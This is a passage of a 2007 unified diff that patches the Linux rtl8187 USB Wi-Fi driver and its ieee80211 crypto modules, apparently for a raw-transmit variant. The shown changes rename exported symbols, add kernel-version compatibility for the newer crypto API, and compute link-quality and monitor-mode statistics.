&0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2579,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2598,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2620,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2668,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2685,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2702,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2715,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2730,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-07-13 01:46:27.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-07-13 01:46:05.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-07-13 01:46:10.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if 